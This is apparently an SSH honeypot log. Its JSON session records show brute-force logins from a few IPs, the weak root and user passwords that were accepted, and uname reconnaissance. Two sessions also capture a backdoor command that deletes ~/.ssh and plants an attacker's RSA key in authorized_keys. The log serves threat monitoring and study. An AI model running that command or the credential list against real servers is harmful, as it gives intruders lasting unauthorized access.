Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: bitrix
{
"id": "ab1d6f3f1e7a",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:57:24.071902Z",
"end_time": "2026-07-31T04:57:25.999051Z",
"duration": "1.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "bitrix",
"pass": "bitrix"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 000000
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "278848c31d35",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:57:18.433651Z",
"end_time": "2026-07-31T04:57:19.766613Z",
"duration": "1.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "000000"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"RECONNAISSANCE",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sonar
{
"id": "91dbd1f4b89f",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:57:12.210260Z",
"end_time": "2026-07-31T04:57:13.993743Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "sonar",
"pass": "sonar"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: gitlab-runner
{
"id": "c8e77926178a",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:57:06.042068Z",
"end_time": "2026-07-31T04:57:07.933891Z",
"duration": "1.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "gitlab-runner",
"pass": "test"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: aiuser
{
"id": "9bc042f21b4c",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:56:59.907109Z",
"end_time": "2026-07-31T04:57:01.705832Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "aiuser",
"pass": "aiuser"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: bot
{
"id": "bdec4b1edd19",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:56:53.633797Z",
"end_time": "2026-07-31T04:56:55.593071Z",
"duration": "2.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "bot",
"pass": "111111"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: www
{
"id": "4d55ddb78d4b",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:56:47.289138Z",
"end_time": "2026-07-31T04:56:49.069716Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "www",
"pass": "user"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ec2-user
{
"id": "d6e156010fb3",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:56:40.718163Z",
"end_time": "2026-07-31T04:56:42.646352Z",
"duration": "1.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "ec2-user",
"pass": "123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user1
{
"id": "dbc4ecd029cc",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:56:34.726292Z",
"end_time": "2026-07-31T04:56:36.701029Z",
"duration": "2.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "user1",
"pass": "root@123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / zaq12wsx
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "c0cd2c76dbd8",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:56:28.314725Z",
"end_time": "2026-07-31T04:56:29.713051Z",
"duration": "1.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "zaq12wsx"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"RECONNAISSANCE",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: root / 3245gs5662d34
{
"id": "604122f71020",
"src_ip": "51.254.130.161",
"start_time": "2026-07-31T04:56:27.344938Z",
"end_time": "2026-07-31T04:56:28.311166Z",
"duration": "1.0",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "7ac3bc7e4520",
"src_ip": "51.254.130.161",
"start_time": "2026-07-31T04:56:25.224016Z",
"end_time": "2026-07-31T04:56:27.193610Z",
"duration": "2.0",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / Password258
Remote entity achieved interactive shell state. Command sequence (2 executed):
{
"id": "58d26255ec84",
"src_ip": "51.254.130.161",
"start_time": "2026-07-31T04:56:23.209006Z",
"end_time": "2026-07-31T04:56:28.307411Z",
"duration": "5.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Password258"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: root / test123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "ed9f132efd5a",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:56:22.040415Z",
"end_time": "2026-07-31T04:56:23.334235Z",
"duration": "1.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "test123"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"RECONNAISSANCE",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: deployer
{
"id": "49af0793d891",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:56:15.751625Z",
"end_time": "2026-07-31T04:56:17.551801Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "deployer",
"pass": "12345678"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: admin1
{
"id": "35e3951c3a57",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:56:09.176563Z",
"end_time": "2026-07-31T04:56:11.308011Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "admin1",
"pass": "admin1"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: toto
{
"id": "cef761854086",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:56:02.776953Z",
"end_time": "2026-07-31T04:56:04.556405Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "toto",
"pass": "toto"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "58fce6057986",
"src_ip": "205.210.31.24",
"start_time": "2026-07-31T04:56:02.398242Z",
"end_time": "2026-07-31T04:56:05.968121Z",
"duration": "3.6",
"version": "SSH-2.0-ZGrab ZGrab SSH Survey",
"hassh": "dd9bcf093c355da7000132131cb36fd0",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: root / admin1
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "dab528f53864",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:55:56.674687Z",
"end_time": "2026-07-31T04:55:57.987601Z",
"duration": "1.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "admin1"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"RECONNAISSANCE",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: student
{
"id": "6e6c5a1fa6d2",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:55:50.548998Z",
"end_time": "2026-07-31T04:55:52.477365Z",
"duration": "1.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "student",
"pass": "123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / admin1234
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "2a16c2f186bc",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:55:44.488814Z",
"end_time": "2026-07-31T04:55:45.892168Z",
"duration": "1.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "admin1234"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"RECONNAISSANCE",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: master
{
"id": "6729ef9d9fff",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:55:38.427503Z",
"end_time": "2026-07-31T04:55:40.242070Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "master",
"pass": "123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: user / root
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "d2a87484a224",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:55:32.449447Z",
"end_time": "2026-07-31T04:55:33.778194Z",
"duration": "1.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "user",
"pass": "root"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"RECONNAISSANCE",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: reza
{
"id": "7949e639e03e",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:55:26.010351Z",
"end_time": "2026-07-31T04:55:27.805678Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "reza",
"pass": "reza"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / !Q2w3e4r
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "094eb55090a2",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:55:20.095896Z",
"end_time": "2026-07-31T04:55:21.652178Z",
"duration": "1.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "!Q2w3e4r"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"RECONNAISSANCE",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: deploy / 123123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "ae214753895c",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:55:13.399322Z",
"end_time": "2026-07-31T04:55:14.952017Z",
"duration": "1.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "deploy",
"pass": "123123"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"RECONNAISSANCE",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: server
{
"id": "23292febae74",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:55:07.378205Z",
"end_time": "2026-07-31T04:55:09.463621Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "server",
"pass": "server"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "ff691e0a69c7",
"src_ip": "142.54.225.52",
"start_time": "2026-07-31T04:55:05.904729Z",
"end_time": "2026-07-31T04:57:05.913686Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: chenxi
{
"id": "90049619db55",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:55:01.130563Z",
"end_time": "2026-07-31T04:55:03.086807Z",
"duration": "2.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "chenxi",
"pass": "123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: rajvir
{
"id": "0bd91f2cfbc6",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:54:54.655250Z",
"end_time": "2026-07-31T04:54:56.761616Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "rajvir",
"pass": "rajvir123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 12345qwe
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "7ee1318f93f1",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:54:48.930440Z",
"end_time": "2026-07-31T04:54:50.105766Z",
"duration": "1.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "12345qwe"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"RECONNAISSANCE",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: root / root@123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "d0b7f433b7f5",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:54:42.755834Z",
"end_time": "2026-07-31T04:54:43.992056Z",
"duration": "1.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "root@123"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"RECONNAISSANCE",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: root / Admin@123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "ae7f94b02edb",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:54:36.504040Z",
"end_time": "2026-07-31T04:54:37.859246Z",
"duration": "1.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Admin@123"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"RECONNAISSANCE",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: t1
{
"id": "2a5d2a97ef84",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:54:29.902873Z",
"end_time": "2026-07-31T04:54:31.673347Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "t1",
"pass": "123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: admin / 3245gs5662d34
{
"id": "a9542156907d",
"src_ip": "51.254.130.161",
"start_time": "2026-07-31T04:54:24.496592Z",
"end_time": "2026-07-31T04:54:25.461054Z",
"duration": "1.0",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: xiao
{
"id": "4838c23c1ceb",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:54:24.007856Z",
"end_time": "2026-07-31T04:54:25.832186Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "xiao",
"pass": "xiao"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "53277da657ed",
"src_ip": "51.254.130.161",
"start_time": "2026-07-31T04:54:22.386536Z",
"end_time": "2026-07-31T04:54:24.346393Z",
"duration": "2.0",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: admin / 123456Aa
Remote entity achieved interactive shell state. Command sequence (2 executed):
{
"id": "bf3790acd1e2",
"src_ip": "51.254.130.161",
"start_time": "2026-07-31T04:54:20.364760Z",
"end_time": "2026-07-31T04:54:25.458199Z",
"duration": "5.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "123456Aa"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: mohammad
{
"id": "18630877e660",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:54:17.958981Z",
"end_time": "2026-07-31T04:54:19.822178Z",
"duration": "1.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "mohammad",
"pass": "mohammad"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: claude
{
"id": "9ebeda05f6c8",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:54:12.155334Z",
"end_time": "2026-07-31T04:54:13.995718Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "claude",
"pass": "12345678"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: chris
{
"id": "764c3d228194",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:54:05.479379Z",
"end_time": "2026-07-31T04:54:07.424551Z",
"duration": "1.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "chris",
"pass": "123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: claude
{
"id": "36f35c621ea0",
"src_ip": "45.153.34.149",
"start_time": "2026-07-31T04:53:59.207179Z",
"end_time": "2026-07-31T04:54:00.994791Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "claude",
"pass": "root"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / P@ssw0rd2026
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "160cb2c1833f",
"src_ip": "45.153.34.149",
